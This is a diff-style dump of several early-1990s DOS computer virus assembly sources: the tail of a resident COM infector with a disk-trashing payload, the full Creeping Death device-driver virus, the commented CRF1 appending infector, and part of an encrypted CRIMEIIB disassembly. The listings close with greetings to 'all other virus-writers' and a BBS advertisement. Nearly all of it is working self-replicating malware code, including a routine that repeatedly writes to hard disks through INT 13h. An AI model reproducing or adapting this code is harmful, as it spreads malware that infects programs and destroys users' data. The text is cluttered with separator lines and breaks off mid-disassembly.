mov ah,3Fh ; Read X byte from begin.
|
||||
mov cx,code_end-codebeg
|
||||
add si,code_end-sub_2 ; SI points to EOF
|
||||
mov dx,si
|
||||
int 21h
|
||||
|
||||
|
||||
cmp word ptr [si],'MZ' ; Mark Zimbowski?
|
||||
je close
|
||||
cmp word ptr [si],'ZM' ; Zimbowski Mark?
|
||||
je close
|
||||
mark: cmp word ptr [si+(mark-codebeg+4)],'YD' ; infected?
|
||||
je close
|
||||
|
||||
call put_eof ; move file ptr to EOF
|
||||
|
||||
cmp ax,(0FFFFh-(code_end-codebeg)-100h)
|
||||
ja close
|
||||
cmp ax,code_end-codebeg+100h
|
||||
jb close
|
||||
|
||||
add ax,100h
|
||||
mov word ptr ds:[si-(code_end-retdata)],ax
|
||||
|
||||
mov ah,40h ; Flytta beg to end.
|
||||
mov cx,code_end-codebeg
|
||||
mov dx,si
|
||||
int 21h
|
||||
|
||||
mov ax,4200h ; fptr to filbeg.
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah,40h ; Write virus to beg.
|
||||
mov cx,code_end-codebeg
|
||||
mov dx,si
|
||||
sub dx,cx
|
||||
int 21h
|
||||
|
||||
close: mov ax,5701h
|
||||
mov cx,[si-(code_end-f_time)]
|
||||
mov dx,[si-(code_end-f_date)]
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh
|
||||
int 21h ; close file, bx=file handle
|
||||
|
||||
pop si
|
||||
pop dx
|
||||
pop ds
|
||||
pop di
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
|
||||
jmp real21
|
||||
|
||||
put_eof: mov ax,4202h
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
int 21h
|
||||
ret
|
||||
|
||||
|
||||
int1Cnew:
|
||||
|
||||
push ax
|
||||
inc byte ptr cs:[counter]
|
||||
mov al,30h
|
||||
cmp byte ptr cs:[counter],al
|
||||
jz scan
|
||||
pop ax
|
||||
|
||||
|
||||
slut: jmp dword ptr cs:[int1Cret]
|
||||
|
||||
scan:
|
||||
push bx
|
||||
push cx
|
||||
push di
|
||||
push ds
|
||||
push dx
|
||||
push es
|
||||
push si
|
||||
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
cld
|
||||
xor bx,bx
|
||||
mov byte ptr cs:[counter],bh
|
||||
mov cx,0FA0h
|
||||
|
||||
mov ax,0b800h
|
||||
mov es,ax
|
||||
xor di,di
|
||||
|
||||
again: mov al,byte ptr cs:[text+bx]
|
||||
sub al,80h
|
||||
repnz scasb
|
||||
jnz stick
|
||||
|
||||
maybe: inc di
|
||||
inc bx
|
||||
cmp bx,10d
|
||||
jz beep
|
||||
|
||||
mov al,byte ptr cs:[text+bx]
|
||||
sub al,80h
|
||||
scasb
|
||||
jz maybe
|
||||
xor bx,bx
|
||||
jmp again
|
||||
|
||||
beep:
|
||||
xor cx,cx
|
||||
mov bx,word ptr cs:[int1Cret]
|
||||
mov es,word ptr cs:[int1Cret+2]
|
||||
mov ax,251Ch
|
||||
int 21h
|
||||
|
||||
overagain: mov dx,0180h
|
||||
xor bx,bx
|
||||
|
||||
reset: mov ah,00h
|
||||
inc bx
|
||||
cmp bl,5h
|
||||
jz raise
|
||||
inc cx
|
||||
int 13h
|
||||
|
||||
hoho: mov ax,0380h
|
||||
inc cx
|
||||
int 13h
|
||||
jc reset
|
||||
jmp hoho
|
||||
|
||||
raise: xor cx,cx
|
||||
xor bx,bx
|
||||
inc dx
|
||||
cmp dl,85h
|
||||
jnz hoho
|
||||
jmp overagain
|
||||
|
||||
stick:
|
||||
pop si
|
||||
pop es
|
||||
pop dx
|
||||
pop ds
|
||||
pop di
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
|
||||
jmp slut
|
||||
|
||||
|
||||
counter: db 00h
|
||||
|
||||
text: db 'T'+80h, 'O'+80h, 'R'+80h, 'M'+80h, 'E'+80h, 'N'+80h
|
||||
db 'T'+80h, 'O'+80h, 'R'+80h, '!'+80h
|
||||
|
||||
; This is what it scans the screen for --^
|
||||
|
||||
int1Cret: db 0EAh, 00h, 00h, 00h, 00h
|
||||
|
||||
code_end: ; THE END.
|
||||
|
||||
code ends
|
||||
end codebeg
|
||||
|
||||
;
|
||||
; Greetings to: Charlie, HITMAN, Wiper, Torpedo, Tortuer, WiCO, Drive Screwer
|
||||
; And ALL other virus-writers!
|
||||
;
|
||||
@@ -0,0 +1,486 @@
|
||||
; Creeping Death V 1.0
|
||||
;
|
||||
; (C) Copyright 1991 by VirusSoft Corp.
|
||||
|
||||
i13org = 5f8h
|
||||
i21org = 5fch
|
||||
|
||||
org 100h
|
||||
|
||||
mov sp,600h
|
||||
inc counter
|
||||
xor cx,cx
|
||||
mov ds,cx
|
||||
lds ax,[0c1h]
|
||||
add ax,21h
|
||||
push ds
|
||||
push ax
|
||||
mov ah,30h
|
||||
call jump
|
||||
cmp al,4
|
||||
sbb si,si
|
||||
mov drive+2,byte ptr -1
|
||||
mov bx,60h
|
||||
mov ah,4ah
|
||||
call jump
|
||||
|
||||
mov ah,52h
|
||||
call jump
|
||||
push es:[bx-2]
|
||||
lds bx,es:[bx]
|
||||
|
||||
search: mov ax,[bx+si+15h]
|
||||
cmp ax,70h
|
||||
jne next
|
||||
xchg ax,cx
|
||||
mov [bx+si+18h],byte ptr -1
|
||||
mov di,[bx+si+13h]
|
||||
mov [bx+si+13h],offset header
|
||||
mov [bx+si+15h],cs
|
||||
next: lds bx,[bx+si+19h]
|
||||
cmp bx,-1
|
||||
jne search
|
||||
jcxz install
|
||||
|
||||
pop ds
|
||||
mov ax,ds
|
||||
add ax,[3]
|
||||
inc ax
|
||||
mov dx,cs
|
||||
dec dx
|
||||
cmp ax,dx
|
||||
jne no_boot
|
||||
add [3],61h
|
||||
no_boot: mov ds,dx
|
||||
mov [1],8
|
||||
|
||||
mov ds,cx
|
||||
les ax,[di+6]
|
||||
mov cs:str_block,ax
|
||||
mov cs:int_block,es
|
||||
|
||||
cld
|
||||
mov si,1
|
||||
scan: dec si
|
||||
lodsw
|
||||
cmp ax,1effh
|
||||
jne scan
|
||||
mov ax,2cah
|
||||
cmp [si+4],ax
|
||||
je right
|
||||
cmp [si+5],ax
|
||||
jne scan
|
||||
right: lodsw
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset modify+1
|
||||
stosw
|
||||
xchg ax,si
|
||||
mov di,offset i13org
|
||||
cli
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov dx,0c000h
|
||||
fdsk1: mov ds,dx
|
||||
xor si,si
|
||||
lodsw
|
||||
cmp ax,0aa55h
|
||||
jne fdsk4
|
||||
cbw
|
||||
lodsb
|
||||
mov cl,9
|
||||
sal ax,cl
|
||||
fdsk2: cmp [si],6c7h
|
||||
jne fdsk3
|
||||
cmp [si+2],4ch
|
||||
jne fdsk3
|
||||
push dx
|
||||
push [si+4]
|
||||
jmp short death
|
||||
install: int 20h
|
||||
file: db "c:",255,0
|
||||
fdsk3: inc si
|
||||
cmp si,ax
|
||||
jb fdsk2
|
||||
fdsk4: inc dx
|
||||
cmp dh,0f0h
|
||||
jb fdsk1
|
||||
|
||||
sub sp,4
|
||||
death: push cs
|
||||
pop ds
|
||||
mov bx,[2ch]
|
||||
mov es,bx
|
||||
mov ah,49h
|
||||
call jump
|
||||
xor ax,ax
|
||||
test bx,bx
|
||||
jz boot
|
||||
mov di,1
|
||||
seek: dec di
|
||||
scasw
|
||||
jne seek
|
||||
lea si,[di+2]
|
||||
jmp short exec
|
||||
boot: mov es,[16h]
|
||||
mov bx,es:[16h]
|
||||
dec bx
|
||||
xor si,si
|
||||
exec: push bx
|
||||
mov bx,offset param
|
||||
mov [bx+4],cs
|
||||
mov [bx+8],cs
|
||||
mov [bx+12],cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov di,offset f_name
|
||||
push di
|
||||
mov cx,40
|
||||
rep movsw
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3dh
|
||||
mov dx,offset file
|
||||
call jump
|
||||
pop dx
|
||||
|
||||
mov ax,4b00h
|
||||
call jump
|
||||
mov ah,4dh
|
||||
call jump
|
||||
mov ah,4ch
|
||||
|
||||
jump: pushf
|
||||
call dword ptr cs:[i21org]
|
||||
ret
|
||||
|
||||
|
||||
;--------Installation complete
|
||||
|
||||
i13pr: mov ah,3
|
||||
jmp dword ptr cs:[i13org]
|
||||
|
||||
|
||||
main: push ax ; driver
|
||||
push cx ; strategy block
|
||||
push dx
|
||||
push ds
|
||||
push si
|
||||
push di
|
||||
|
||||
push es
|
||||
pop ds
|
||||
mov al,[bx+2]
|
||||
|
||||
cmp al,4 ; Input
|
||||
je input
|
||||
cmp al,8
|
||||
je output
|
||||
cmp al,9
|
||||
je output
|
||||
|
||||
call in
|
||||
cmp al,2 ; Build BPB
|
||||
jne ppp ;
|
||||
lds si,[bx+12h]
|
||||
mov di,offset bpb_buf
|
||||
mov es:[bx+12h],di
|
||||
mov es:[bx+14h],cs
|
||||
push es
|
||||
push cs
|
||||
pop es
|
||||
mov cx,16
|
||||
rep movsw
|
||||
pop es
|
||||
push cs
|
||||
pop ds
|
||||
mov al,[di+2-32]
|
||||
cmp al,2
|
||||
adc al,0
|
||||
cbw
|
||||
cmp [di+8-32],0
|
||||
je m32
|
||||
sub [di+8-32],ax
|
||||
jmp short ppp
|
||||
m32: sub [di+15h-32],ax
|
||||
sbb [di+17h-32],0
|
||||
|
||||
ppp: pop di
|
||||
pop si
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
rts: retf
|
||||
|
||||
output: mov cx,0ff09h
|
||||
call check
|
||||
jz inf_sec
|
||||
call in
|
||||
jmp short inf_dsk
|
||||
|
||||
inf_sec: jmp _inf_sec
|
||||
read: jmp _read
|
||||
read_: add sp,16
|
||||
jmp short ppp
|
||||
|
||||
input: call check
|
||||
jz read
|
||||
inf_dsk: mov byte ptr [bx+2],4
|
||||
cld
|
||||
lea si,[bx+0eh]
|
||||
mov cx,8
|
||||
save: lodsw
|
||||
push ax
|
||||
loop save
|
||||
mov [bx+14h],1
|
||||
call driver
|
||||
jnz read_
|
||||
mov byte ptr [bx+2],2
|
||||
call in
|
||||
lds si,[bx+12h]
|
||||
mov ax,[si+6]
|
||||
add ax,15
|
||||
mov cl,4
|
||||
shr ax,cl
|
||||
mov di,[si+0bh]
|
||||
add di,di
|
||||
stc
|
||||
adc di,ax
|
||||
push di
|
||||
cwd
|
||||
mov ax,[si+8]
|
||||
test ax,ax
|
||||
jnz more
|
||||
mov ax,[si+15h]
|
||||
mov dx,[si+17h]
|
||||
more: xor cx,cx
|
||||
sub ax,di
|
||||
sbb dx,cx
|
||||
mov cl,[si+2]
|
||||
div cx
|
||||
cmp cl,2
|
||||
sbb ax,-1
|
||||
push ax
|
||||
call convert
|
||||
mov byte ptr es:[bx+2],4
|
||||
mov es:[bx+14h],ax
|
||||
call driver
|
||||
again: lds si,es:[bx+0eh]
|
||||
add si,dx
|
||||
sub dh,cl
|
||||
adc dx,ax
|
||||
mov cs:gad+1,dx
|
||||
cmp cl,1
|
||||
je small
|
||||
mov ax,[si]
|
||||
and ax,di
|
||||
cmp ax,0fff7h
|
||||
je bad
|
||||
cmp ax,0ff7h
|
||||
je bad
|
||||
cmp ax,0ff70h
|
||||
jne ok
|
||||
bad: pop ax
|
||||
dec ax
|
||||
push ax
|
||||
call convert
|
||||
jmp short again
|
||||
small: not di
|
||||
and [si],di
|
||||
pop ax
|
||||
push ax
|
||||
inc ax
|
||||
push ax
|
||||
mov dx,0fh
|
||||
test di,dx
|
||||
jz here
|
||||
inc dx
|
||||
mul dx
|
||||
here: or [si],ax
|
||||
pop ax
|
||||
call convert
|
||||
mov si,es:[bx+0eh]
|
||||
add si,dx
|
||||
mov ax,[si]
|
||||
and ax,di
|
||||
ok: mov dx,di
|
||||
dec dx
|
||||
and dx,di
|
||||
not di
|
||||
and [si],di
|
||||
or [si],dx
|
||||
|
||||
cmp ax,dx
|
||||
pop ax
|
||||
pop di
|
||||
mov cs:pointer+1,ax
|
||||
je _read_
|
||||
mov dx,[si]
|
||||
push ds
|
||||
push si
|
||||
call write
|
||||
pop si
|
||||
pop ds
|
||||
jnz _read_
|
||||
call driver
|
||||
cmp [si],dx
|
||||
jne _read_
|
||||
dec ax
|
||||
dec ax
|
||||
mul cx
|
||||
add ax,di
|
||||
adc dx,0
|
||||
push es
|
||||
pop ds
|
||||
mov [bx+12h],2
|
||||
mov [bx+14h],ax
|
||||
test dx,dx
|
||||
jz less
|
||||
mov [bx+14h],-1
|
||||
mov [bx+1ah],ax
|
||||
mov [bx+1ch],dx
|
||||
less: mov [bx+10h],cs
|
||||
mov [bx+0eh],100h
|
||||
call write
|
||||
|
||||
_read_: std
|
||||
lea di,[bx+1ch]
|
||||
mov cx,8
|
||||
load: pop ax
|
||||
stosw
|
||||
loop load
|
||||
_read: call in
|
||||
|
||||
mov cx,9
|
||||
_inf_sec:
|
||||
mov di,es:[bx+12h]
|
||||
lds si,es:[bx+0eh]
|
||||
sal di,cl
|
||||
xor cl,cl
|
||||
add di,si
|
||||
xor dl,dl
|
||||
push ds
|
||||
push si
|
||||
call find
|
||||
jcxz no_inf
|
||||
call write
|
||||
and es:[bx+4],byte ptr 07fh
|
||||
no_inf: pop si
|
||||
pop ds
|
||||
inc dx
|
||||
call find
|
||||
jmp ppp
|
||||
|
||||
;--------Subroutines
|
||||
|
||||
find: mov ax,[si+8]
|
||||
cmp ax,"XE"
|
||||
jne com
|
||||
cmp [si+10],al
|
||||
je found
|
||||
com: cmp ax,"OC"
|
||||
jne go_on
|
||||
cmp byte ptr [si+10],"M"
|
||||
jne go_on
|
||||
found: test [si+1eh],0ffc0h ; >4MB
|
||||
jnz go_on
|
||||
test [si+1dh],03ff8h ; <2048B
|
||||
jz go_on
|
||||
test [si+0bh],byte ptr 1ch
|
||||
jnz go_on
|
||||
test dl,dl
|
||||
jnz rest
|
||||
pointer: mov ax,1234h
|
||||
cmp ax,[si+1ah]
|
||||
je go_on
|
||||
xchg ax,[si+1ah]
|
||||
gad: xor ax,1234h
|
||||
mov [si+14h],ax
|
||||
loop go_on
|
||||
rest: xor ax,ax
|
||||
xchg ax,[si+14h]
|
||||
xor ax,cs:gad+1
|
||||
mov [si+1ah],ax
|
||||
go_on: ;rol cs:gad+1,1
|
||||
db 2eh,0d1h,6
|
||||
dw offset gad+1
|
||||
add si,32
|
||||
cmp di,si
|
||||
jne find
|
||||
ret
|
||||
|
||||
check: mov ah,[bx+1]
|
||||
drive: cmp ah,-1
|
||||
mov cs:[drive+2],ah
|
||||
jne changed
|
||||
push [bx+0eh]
|
||||
mov byte ptr [bx+2],1
|
||||
call in
|
||||
cmp byte ptr [bx+0eh],1
|
||||
pop [bx+0eh]
|
||||
mov [bx+2],al
|
||||
changed: ret
|
||||
|
||||
write: cmp byte ptr es:[bx+2],8
|
||||
jae in
|
||||
mov byte ptr es:[bx+2],4
|
||||
mov si,70h
|
||||
mov ds,si
|
||||
modify: mov si,1234h
|
||||
push [si]
|
||||
push [si+2]
|
||||
mov [si],offset i13pr
|
||||
mov [si+2],cs
|
||||
call in
|
||||
pop [si+2]
|
||||
pop [si]
|
||||
ret
|
||||
|
||||
driver: mov es:[bx+12h],1
|
||||
in:
|
||||
db 09ah
|
||||
str_block:
|
||||
dw ?,70h
|
||||
db 09ah
|
||||
int_block:
|
||||
dw ?,70h
|
||||
test es:[bx+4],byte ptr 80h
|
||||
ret
|
||||
|
||||
convert: cmp ax,0ff0h
|
||||
jae fat_16
|
||||
mov si,3
|
||||
xor cs:[si+gad-1],si
|
||||
mul si
|
||||
shr ax,1
|
||||
mov di,0fffh
|
||||
jnc cont
|
||||
mov di,0fff0h
|
||||
jmp short cont
|
||||
fat_16: mov si,2
|
||||
mul si
|
||||
mov di,0ffffh
|
||||
cont: mov si,512
|
||||
div si
|
||||
header: inc ax
|
||||
ret
|
||||
|
||||
counter: dw 0
|
||||
|
||||
dw 842h
|
||||
dw offset main
|
||||
dw offset rts
|
||||
db 7fh
|
||||
|
||||
param: dw 0,80h,?,5ch,?,6ch,?
|
||||
|
||||
bpb_buf: db 32 dup(?)
|
||||
f_name: db 80 dup(?)
|
||||
|
||||
;--------The End.
|
||||
|
||||
@@ -0,0 +1,204 @@
|
||||
title "CRF1 virus. Born on the Fourth of July. Written by TBSI."
|
||||
|
||||
; assemble with Turbo ASM 2.x
|
||||
page 60,80
|
||||
code segment word public 'code'
|
||||
assume cs:code,ds:code
|
||||
org 100h
|
||||
main proc;edure
|
||||
|
||||
|
||||
; As referenced in this source listing, Top-Of-File represents location 100h in
|
||||
; the current memory segment, which is where the virus code is loaded into mem.
|
||||
; The word "program" refers to the infected programs code and "virus" refers to
|
||||
; the virus's code. This information is included to clarify my use of the word
|
||||
; "program" in the remarks throughout this listing.
|
||||
|
||||
; Since the virus (with the exception of "call skip" and "db 26") can be loaded
|
||||
; anywhere in memory depending on the length of the infected program, I made it
|
||||
; to where the BP register would be loaded with the displacement of the code in
|
||||
; memory. This was done as follows:
|
||||
; 1) a CALL instruction was issued. It places the TRUE return
|
||||
; address onto the stack.
|
||||
; 2) instead of returning to there, the value was popped off of
|
||||
; the stack into the BP register
|
||||
; 3) then, it subtracts the EXPECTED value of BP (the address of
|
||||
; EOFMARK in the 1st-time copy) from BP to get the offset.
|
||||
; 4) all references to memory locations were thereafter changed
|
||||
; to refernces to EXPECTED memory locations + BP
|
||||
; This fixed the problem.
|
||||
|
||||
|
||||
|
||||
|
||||
tof: ;Top-Of-File
|
||||
jmp short begin ;Skip over program
|
||||
nop ;Reserve 3rd byte
|
||||
EOFMARK: db 26 ;Disable DOS's TYPE
|
||||
|
||||
first_four: nop ;First run copy only!
|
||||
address: int 20h ;First run copy only!
|
||||
check: nop ;First run copy only!
|
||||
|
||||
begin: call nextline ;Push BP onto stack
|
||||
nextline: pop bp ;BP=location of Skip
|
||||
sub bp,offset nextline ;BP=offset from 1st run
|
||||
|
||||
mov byte ptr [bp+offset infected],0 ;Reset infection count
|
||||
|
||||
lea si,[bp+offset first_four] ;Original first 4 bytes
|
||||
mov di,offset tof ;TOF never changes
|
||||
mov cx,4 ;Lets copy 4 bytes
|
||||
cld ;Read left-to-right
|
||||
rep movsb ;Copy the 4 bytes
|
||||
|
||||
mov ah,1Ah ;Set DTA address ...
|
||||
lea dx,[bp+offset DTA] ; ... to *our* DTA
|
||||
int 21h ;Call DOS to set DTA
|
||||
|
||||
mov ah,4Eh ;Find First ASCIIZ
|
||||
lea dx,[bp+offset filespec] ;DS:DX -} '*.COM',0
|
||||
lea si,[bp+offset filename] ;Point to file
|
||||
push dx ;Save DX
|
||||
jmp short continue ;Continue...
|
||||
|
||||
return: mov ah,1ah ;Set DTA address ...
|
||||
mov dx,80h ; ... to default DTA
|
||||
int 21h ;Call DOS to set DTA
|
||||
xor ax,ax ;AX= 0
|
||||
mov bx,ax ;BX= 0
|
||||
mov cx,ax ;CX= 0
|
||||
mov dx,ax ;DX= 0
|
||||
mov si,ax ;SI= 0
|
||||
mov di,ax ;DI= 0
|
||||
mov sp,0FFFEh ;SP= 0
|
||||
mov bp,100h ;BP= 100h (RETurn addr)
|
||||
push bp ; Put on stack
|
||||
mov bp,ax ;BP= 0
|
||||
ret ;JMP to 100h
|
||||
|
||||
nextfile: or bx,bx ;Did we open the file?
|
||||
jz skipclose ;No, so don't close it
|
||||
mov ah,3Eh ;Close file
|
||||
int 21h ;Call DOS to close it
|
||||
xor bx,bx ;Set BX back to 0
|
||||
skipclose: mov ah,4Fh ;Find Next ASCIIZ
|
||||
|
||||
continue: pop dx ;Restore DX
|
||||
push dx ;Re-save DX
|
||||
xor cx,cx ;CX= 0
|
||||
xor bx,bx
|
||||
int 21h ;Find First/Next
|
||||
jnc skipjmp
|
||||
jmp NoneLeft ;Out of files
|
||||
|
||||
skipjmp: mov ax,3D02h ;open file
|
||||
mov dx,si ;point to filespec
|
||||
int 21h ;Call DOS to open file
|
||||
jc nextfile ;Next file if error
|
||||
|
||||
mov bx,ax ;get the handle
|
||||
mov ah,3Fh ;Read from file
|
||||
mov cx,4 ;Read 4 bytes
|
||||
lea dx,[bp+offset first_four] ;Read in the first 4
|
||||
int 21h ;Call DOS to read
|
||||
|
||||
cmp byte ptr [bp+offset check],26 ;Already infected?
|
||||
je nextfile ;Yep, try again ...
|
||||
cmp byte ptr [bp+offset first_four],77 ;Mis-named .EXE?
|
||||
je nextfile ;Yep, maybe next time!
|
||||
|
||||
mov ax,4202h ;LSeek to EOF
|
||||
xor cx,cx ;CX= 0
|
||||
xor dx,dx ;DX= 0
|
||||
int 21h ;Call DOS to LSeek
|
||||
|
||||
cmp ax,0FD00h ;Longer than 63K?
|
||||
ja nextfile ;Yep, try again...
|
||||
mov [bp+offset addr],ax ;Save call location
|
||||
|
||||
mov ah,40h ;Write to file
|
||||
mov cx,4 ;Write 4 bytes
|
||||
lea dx,[bp+offset first_four] ;Point to buffer
|
||||
int 21h ;Save the first 4 bytes
|
||||
|
||||
mov ah,40h ;Write to file
|
||||
mov cx,offset eof-offset begin ;Length of target code
|
||||
lea dx,[bp+offset begin] ;Point to virus start
|
||||
int 21h ;Append the virus
|
||||
|
||||
mov ax,4200h ;LSeek to TOF
|
||||
xor cx,cx ;CX= 0
|
||||
xor dx,dx ;DX= 0
|
||||
int 21h ;Call DOS to LSeek
|
||||
|
||||
mov ax,[bp+offset addr] ;Retrieve location
|
||||
inc ax ;Adjust location
|
||||
|
||||
mov [bp+offset address],ax ;address to call
|
||||
mov byte ptr [bp+offset first_four],0E9h ;JMP rel16 inst.
|
||||
mov byte ptr [bp+offset check],26 ;EOFMARK
|
||||
|
||||
mov ah,40h ;Write to file
|
||||
mov cx,4 ;Write 4 bytes
|
||||
lea dx,[bp+offset first_four] ;4 bytes are at [DX]
|
||||
int 21h ;Write to file
|
||||
|
||||
inc byte ptr [bp+offset infected] ;increment counter
|
||||
jmp nextfile ;Any more?
|
||||
|
||||
NoneLeft: cmp byte ptr [bp+offset infected],2 ;At least 2 infected?
|
||||
jae TheEnd ;The party's over!
|
||||
|
||||
mov di,100h ;DI= 100h
|
||||
cmp word ptr [di],20CDh ;an INT 20h?
|
||||
je TheEnd ;Don't go to prev. dir.
|
||||
|
||||
lea dx,[bp+offset prevdir] ;'..'
|
||||
mov ah,3Bh ;Set current directory
|
||||
int 21h ;CHDIR ..
|
||||
jc TheEnd ;We're through!
|
||||
mov ah,4Eh
|
||||
jmp continue ;Start over in new dir
|
||||
|
||||
TheEnd: jmp return ;The party's over!
|
||||
|
||||
filespec: db '*.COM',0 ;File specification
|
||||
prevdir: db '..',0 ;previous directory
|
||||
|
||||
; None of this information is included in the virus's code. It is only used
|
||||
; during the search/infect routines and it is not necessary to preserve it
|
||||
; in between calls to them.
|
||||
|
||||
eof:
|
||||
DTA: db 21 dup (?) ;internal search's data
|
||||
|
||||
attribute db ? ;attribute
|
||||
file_time db 2 dup (?) ;file's time stamp
|
||||
file_date db 2 dup (?) ;file's date stamp
|
||||
file_size db 4 dup (?) ;file's size
|
||||
filename db 13 dup (?) ;filename
|
||||
|
||||
infected db ? ;infection count
|
||||
|
||||
addr dw ? ;Address
|
||||
|
||||
main endp;rocedure
|
||||
code ends;egment
|
||||
|
||||
end main
|
||||
|
||||
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
; This quality file was downloaded from
|
||||
;
|
||||
; E X T R E M E
|
||||
; ------------+------------ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
; /|\ ³ ³
|
||||
; / | \ ³ Portland Metro All Text BBS ³
|
||||
; / | \ ³ ³
|
||||
; / | \ ³ 9600: 503-775-0374 ³
|
||||
; / | \ ³ SysOp: Thing One ³
|
||||
; / | \ ³ ³
|
||||
; / | \ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
; d r e a m e s
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,394 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ CRIMEIIB ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 31-Jan-91 ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_8e equ 20D3h ;*
|
||||
data_9e equ 28C9h ;*
|
||||
data_10e equ 3C81h ;*
|
||||
data_26e equ 8ECDh ;*
|
||||
data_34e equ 0B7C5h ;*
|
||||
data_37e equ 0D848h ;*
|
||||
data_38e equ 0E245h ;*
|
||||
data_44e equ 0F198h ;*
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
crimeIIb proc far
|
||||
|
||||
start:
|
||||
;* jmp loc_2 ;*
|
||||
db 0E9h,0FFh,0FFh
|
||||
db 1 ; Data table (indexed access)
|
||||
db 00h, 99h, 5Eh, 81h,0EEh, 03h
|
||||
db 01h, 83h,0FEh, 00h, 74h, 1Ch
|
||||
db 2Eh, 8Ah, 94h, 03h, 01h, 8Dh
|
||||
loc_3:
|
||||
mov ax,cs
|
||||
push es
|
||||
lea bx,[si+12Ah] ; Load effective addr
|
||||
sub cx,bx
|
||||
|
||||
locloop_4:
|
||||
mov al,cs:[bx]
|
||||
xor al,dl
|
||||
ror dl,1 ; Rotate
|
||||
mov cs:[bx],al
|
||||
inc bx
|
||||
loop locloop_4 ; Loop if cx > 0
|
||||
|
||||
mov bh,4Ch ; 'L'
|
||||
loop $+32h ; Loop if cx > 0
|
||||
|
||||
cbw ; Convrt byte to word
|
||||
iret ; Interrupt return
|
||||
;* js loc_6 ;*Jump if sign=1
|
||||
db 78h, 35h
|
||||
xchg ax,di
|
||||
retn 3479h
|
||||
adc al,70h ; 'p'
|
||||
scasb ; Scan es:[di] for al
|
||||
xor ax,4C20h
|
||||
db 66h, 83h, 99h, 30h, 95h, 99h
|
||||
db 29h, 90h, 48h,0BBh, 1Dh, 04h
|
||||
db 60h, 1Dh, 11h, 48h, 8Eh, 35h
|
||||
db 0B7h, 44h,0E2h, 3Bh, 9Eh, 41h
|
||||
db 0F2h, 7Bh, 9Eh, 78h, 7Ch,0FEh
|
||||
db 0B8h,0FFh,0A6h, 2Dh, 17h, 14h
|
||||
db 0C7h, 35h, 98h,0D3h, 5Bh, 33h
|
||||
db 99h
|
||||
loc_6:
|
||||
mov cx,1D6Ch
|
||||
pop di
|
||||
dec ax
|
||||
db 0C8h, 32h, 99h, 5Ch, 8Dh, 3Bh
|
||||
db 09h,0E2h,0A0h,0B7h, 37h,0CDh
|
||||
db 67h,0A3h, 72h, 81h,0F6h
|
||||
|
||||
locloop_7:
|
||||
jle loc_3 ; Jump if < or =
|
||||
;* call far ptr sub_7 ;*
|
||||
db 9Ah, 63h, 33h, 99h,0CCh
|
||||
db 67h, 33h, 98h, 3Ch, 99h,0C3h
|
||||
db 66h,0CCh, 66h, 33h, 99h,0CDh
|
||||
db 66h,0FEh,0B9h,0CCh
|
||||
db 64h, 37h
|
||||
db 99h
|
||||
db 0CCh, 66h
|
||||
dw 9931h ; Data table (indexed access)
|
||||
db 33h, 69h,0CCh, 66h,0CCh, 66h
|
||||
db 0CDh, 66h,0CCh, 66h,0D3h, 98h
|
||||
db 0CCh, 66h, 2Fh, 99h,0CCh, 66h
|
||||
db 26h, 98h,0CEh
|
||||
db 65h, 33h
|
||||
|
||||
locloop_8:
|
||||
cbw ; Convrt byte to word
|
||||
xor bp,[bp+si+39h]
|
||||
cbw ; Convrt byte to word
|
||||
out 48h,al ; port 48h ??I/O Non-standard
|
||||
jbe $-3Dh ; Jump if below or =
|
||||
mov [bp+19h],sp
|
||||
mov bh,8Fh
|
||||
sub [bp-67h],di
|
||||
in al,dx ; port 0, DMA-1 bas&add ch 0
|
||||
db 66h, 37h, 70h,0CCh, 66h,0B0h
|
||||
db 67h,0CCh, 13h, 30h, 70h, 1Bh
|
||||
db 66h, 1Dh, 12h, 48h,0F7h
|
||||
db 32h,0A4h, 81h, 3Ch
|
||||
loc_10:
|
||||
inc si
|
||||
nop
|
||||
loop locloop_7 ; Loop if cx > 0
|
||||
|
||||
mov bh,16h
|
||||
int 67h ; ??INT Non-standard interrupt
|
||||
esc 0,[bp+si+485Ch] ; coprocessor escape
|
||||
cmc ; Complement carry
|
||||
sbb ax,6743h
|
||||
xor dx,[si]
|
||||
;* jo loc_11 ;*Jump if overflow=1
|
